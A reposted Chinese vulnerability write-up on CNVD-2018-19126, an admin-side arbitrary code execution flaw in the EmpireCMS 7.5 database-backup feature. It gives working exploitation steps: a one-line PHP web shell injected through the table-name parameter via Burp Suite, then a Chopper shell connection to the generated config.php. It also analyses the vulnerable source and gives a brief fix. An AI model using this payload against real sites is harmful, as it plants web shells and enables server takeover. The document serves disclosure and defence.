码迷,mamicode.com
首页 > 系统相关 > 详细

CNVD-2018-19126 EmpireCMS后台任意代码执行可GetShell

时间:2018-10-26 17:45:19      阅读:314      评论:0      收藏:0      [点我收藏+]

标签:log   har   getshell   漏洞修复   empty   cms   数据表   err   xxxx   

[漏洞描述]

EmpireCMS是一套免费的CMS(内容管理系统)。

EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。

[影响版本]

<=7.5

[漏洞危害]

[漏洞位置]

/e/admin/admin/ebak/phome.php
[系统]-[系统设置]-[备份与恢复数据]-[备份数据]

[漏洞利用]

[系统]-[系统设置]-[备份与恢复数据]-[备份数据],选择任意数据表。

使用Burpsuit截取数据包。

将表名修改为一句话***。

#字段
tablename[]=xxxxxxxx
# 修改为:
tablename[]=@eval($_POST[1])

[系统]-[系统设置]-[备份与恢复数据]-[管理备份目录]处,点击查看备份说明

点击[查看备份说明],将URL结尾处的readme.txt修改为config.php

使用菜刀连接。

[漏洞分析]

系统在/upload/e/admin/ebak/phome.php文件中接受备份数据库传递的参数。

elseif($phome=="DoEbak")
{
    Ebak_DoEbak($_POST,$logininid,$loginin);
}

接受参数后,传递到\upload\e\admin\ebak\class\functions.php文件中的Ebak_DOEbak函数中。Ebak_DOEbak函数接受参数后,将数据库表名传递给变量$tablename

    $tablename=$add[‘tablename‘];
    $count=count($tablename);
    if(empty($count)){
        printerror("MustChangeOneTable","history.go(-1)");
    }
    $add[‘baktype‘]=(int)$add[‘baktype‘];
    $add[‘filesize‘]=(int)$add[‘filesize‘];
    $add[‘bakline‘]=(int)$add[‘bakline‘];
    $add[‘autoauf‘]=(int)$add[‘autoauf‘];
    if((!$add[‘filesize‘]&&!$add[‘baktype‘])||(!$add[‘bakline‘]&&$add[‘baktype‘])){
        printerror("FileSizeEmpty","history.go(-1)");
    }

系统对表名遍历将其赋值给$b_table$d_table。在$d_table处将表名拼接为字符串。对拼接而成$tb数组未对其中的键值名添加双引号。

$b_table="";
    $d_table="";
    for($i=0;$i<$count;$i++){
        $tablename[$i]=RepPostVar($tablename[$i]);
        $b_table.=$tablename[$i].",";
        $d_table.="\$tb[".$tablename[$i]."]=0;\r\n";
    }

在生成config.php文件的过程中,对于$d_table没有进行处理,直接拼接到生成文件的字符串中,导致任意代码执行漏洞。

$string="<?php
    \$b_table=\"".$b_table."\";
    ".$d_table."
    \$b_baktype=".$add[‘baktype‘].";
    \$b_filesize=".$add[‘filesize‘].";
    \$b_bakline=".$add[‘bakline‘].";
    \$b_autoauf=".$add[‘autoauf‘].";
    \$b_dbname=\"".$dbname."\";
    \$b_stru=".$bakstru.";
    \$b_strufour=".$bakstrufour.";
    \$b_dbchar=\"".addslashes($add[‘dbchar‘])."\";
    \$b_beover=".$beover.";
    \$b_insertf=\"".addslashes($insertf)."\";
    \$b_autofield=\",".addslashes($add[‘autofield‘]).",\";
    \$b_bakdatatype=".$bakdatatype.";
    ?>";
    $cfile=$bakpath."/".$add[‘mypath‘]."/config.php";
    WriteFiletext_n($cfile,$string);

插入恶意代码后生成的config.php文件。

<?php
    $b_table="@eval($_POST[1])";
    $tb[@eval($_POST[1])]=0;

    $b_baktype=0;
    $b_filesize=300;
    $b_bakline=500;
    $b_autoauf=1;
    $b_dbname="empirecms";
    $b_stru=1;
    $b_strufour=0;
    $b_dbchar="gbk";
    $b_beover=0;
    $b_insertf="replace";
    $b_autofield=",,";
    $b_bakdatatype=1;
    ?>

[漏洞修复]:

在生成config.php文件时对表名处增加双引号。

CNVD-2018-19126 EmpireCMS后台任意代码执行可GetShell

标签:log   har   getshell   漏洞修复   empty   cms   数据表   err   xxxx   

原文地址:http://blog.51cto.com/dearch/2309429

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!